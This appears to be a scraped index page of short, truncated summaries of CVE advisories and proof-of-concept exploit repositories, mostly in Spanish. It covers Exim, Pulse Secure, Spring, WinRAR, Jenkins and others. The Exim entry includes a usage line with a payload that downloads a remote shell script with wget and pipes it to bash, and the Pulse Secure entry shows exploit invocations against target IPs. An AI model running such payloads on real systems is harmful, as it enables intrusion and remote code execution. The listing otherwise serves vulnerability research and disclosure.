CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - command injection CVE-2019-1010174 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description CImg The CImg Library v.2.3...

CVE-2025-22457

PoC para CVE-2025-22457 Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways Resumen Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un anális...

CVE-2026-84645

A flaw was found in Jenkins. This vulnerability allows a remote attacker to achieve remote code execution. By manipulating user-submitted configuration files, an attacker can exploit a deserialization weakness where specially crafted objects can process HTTP requests. This grants unauthorized...

CVE-2018-16370

CVE-2018-16370 En PESCMS Team 2.2.1, los atacantes pueden subir y ejecutar código PHP arbitrario a través de /Public/?g=Team&m=Setting&a=upgrade colocando un archivo .php en un archivo ZIP. Más detalles en https://github.com/lazyphp/PESCMS-TEAM/issues/2...

CVE-2025-29602

CVE-2025-29602 - Vulnerabilidades de cross site scripting XSS almacenado en FlatPress CMS 1.3.1 Descripción Existe una vulnerabilidad de Cross-Site Scripting XSS almacenado en el panel de administración de Flatpress CMS 1.3.1. Un atacante con privilegios de administrador puede inyectar una carga...

CVE-2024-27956-WORDPRESS-RCE-PLUGIN

CVE-2024-27956-WORDPRESS-RCE-PLUGIN CVE-2024-27956 WORDPRESS RCE PLUGIN Plugin atacado wp-automatic...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE El problema se debe a que al instalar un paquete, Golang compila extensiones nativas. Esto se puede usar para pasar banderas adicionales al compilador y obtener ejecución de código. Por ejemplo, se puede usar CFLAGS. Puedes compilarlo usando el siguiente comando: $ gcc...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC para explotación de la vulnerabilidad CVE-2019-10149 Ejemplo de uso python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

spring-shell-vuln

spring-shell-vuln Spring4Shell: vulnerabilidad RCE en Spring core Spring ha confirmado la RCE en Spring Framework. El equipo acaba de publicar la declaración junto con las guías de mitigación para el problema. Ahora, esta vulnerabilidad puede rastrearse como CVE-2022-22965. Se ha compartido...

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE Introducción a CVE-2022-22947 危害等级：高危 POC/EXP情况：已公开 CNVD编号：CNNVD-2022-16402 影响范围： Spring Cloud GateWay 3.1.0 Spring Cloud GateWay =3.0.0，=3.0.6 Spring Cloud GateWay 3.0.0 Descripción de la vulnerabilidad Spring Cloud Gateway tiene una vulnerabilidad de...

CVE-2021-22893

CVE-2021-22893 Proof-of-Concept PoC script to exploit Pulse Secure CVE-2021-22893. Usage Achieves RCE on Pulse Secure VPNs chmod +x exploit.sh ./exploit.sh 10.0.0.1 ./exploit.sh -l ./exploit.sh -l IPList.txt...

CVE-2022-2274

CVE-2022-2274 Un POC de CVE-2022-2274 openssl El lanzamiento de OpenSSL 3.0.4 introdujo un error grave en la implementación de RSA para CPUs X8664 que admiten las instrucciones AVX512IFMA. Este problema hace que la implementación de RSA con claves privadas de 2048 bits sea incorrecta en dichas...

POC_CVE-2026-42589

POCCVE-2026-42589 Laboratorio de reproducción local y borrador de plantilla de nuclei para CVE-2026-42589 que afecta a Gotenberg. Resumen CVE-2026-42589 es un problema de ejecución remota de código no autenticado en Gotenberg causado por la inyección de nuevas líneas en la clave de metadatos en:...

sk-cve-2026-26030-lab

CVE-2026-26030 — Filtro eval RCE en Semantic Kernel laboratorio Un laboratorio autocontenido que reproduce CVE-2026-26030 : ejecución remota de código inyectable mediante el filtro de búsqueda en el almacén de vectores en memoria de Microsoft Semantic Kernel Python, Solo laboratorio ético. Aislad...

CVE-2026-92786

A flaw was found in LightGBM. The software does not properly validate data within text models, which can be exploited by an attacker. By crafting a malicious model file, an attacker can trigger an out-of-bounds write during the SHAP prediction process. This vulnerability could lead to arbitrary...

CVE-2023-38831

CVE-2023-38831 - Vulnerabilidad de Ejecución de Código en RARLAB WinRAR ⚠️ Solo con fines educativos y de investigación de seguridad autorizados Autores del Exploit Original Muy agradecido al autor original del PoC b1tg y a Group-IB Threat Intelligence Descripción RARLAB WinRAR anterior a la...

CVE-2023-21716-Analysis-ICT287

CVE-2023-21716 Análisis-ICT287: Ejecución Remota de Código en Microsoft Word Resumen Este repositorio documenta el análisis y la reproducción de CVE-2023-21716, una vulnerabilidad de desbordamiento de búfer basada en heap en el analizador RTF de Microsoft Word con una puntuación CVSS de 9.8...

CVE-2026-5203

CVE-2026-5203 — CMS Made Simple ≤ 2.2.22 RCE Path Traversal + Subida Arbitraria de Archivos Resumen La funcionalidad de importación XML del módulo UserGuide en CMS Made Simple ≤ 2.2.22 no sanitiza los nombres de archivo proporcionados por el usuario, lo que permite a un administrador autenticado...

cve-2010-1938

🚀 CVE-2010-1938 FTP Off-by-One Exploit A simple Python script to test an off-by-one vulnerability in the OPIE library CVE-2010-1938. This vulnerability affects certain FTP servers and may allow for Denial of Service DoS or arbitrary code execution. 📜 Description This script targets a known...

PCP: PCP pmproxy: Unauthenticated access to /store endpoint allows bypassing pmcd access rules

An unauthenticated remote attacker can bypass access controls by sending crafted requests to the PCP pmproxy /store endpoint. This allows the attacker to overwrite any PMDA metric, leading to arbitrary code execution and system takeover...